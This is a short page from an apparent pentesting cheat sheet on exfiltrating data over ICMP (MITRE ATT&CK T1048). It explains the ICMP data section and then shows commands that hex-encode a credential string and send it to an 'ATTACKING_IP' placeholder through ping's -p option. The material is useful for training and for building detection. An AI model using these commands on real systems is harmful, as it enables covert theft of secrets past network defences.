Over ICMP

MITRE ATT&CK™ - Exfiltration Over Alternative Protocol - Technique T1048

Theory

The Internet Control Message Protocol ICMP. It is a network layer protocol used to handle error reporting.

ICMP Data Section

On a high level, the ICMP packet's structure contains a Data section that can include strings or copies of other information, such as the IPv4 header, used for error messages. The following diagram shows the Data section, which is optional to use. We can leverage this section in order to exfiltrate datas.

Practice

We can, on linux targets, exfiltrate datas with the -p options of the ping command.

root@victime$ echo 'root:p@ssw0rd!' | xxd -p
726f6f743a7040737377307264210a

root@victime$ ping ATTACKING_IP -c 1 -p 726f6f743a7040737377307264210a

Note that the -p option is only available for Linux operating systems. We can confirm that by checking the ping's help manual page.

Resources

Last updated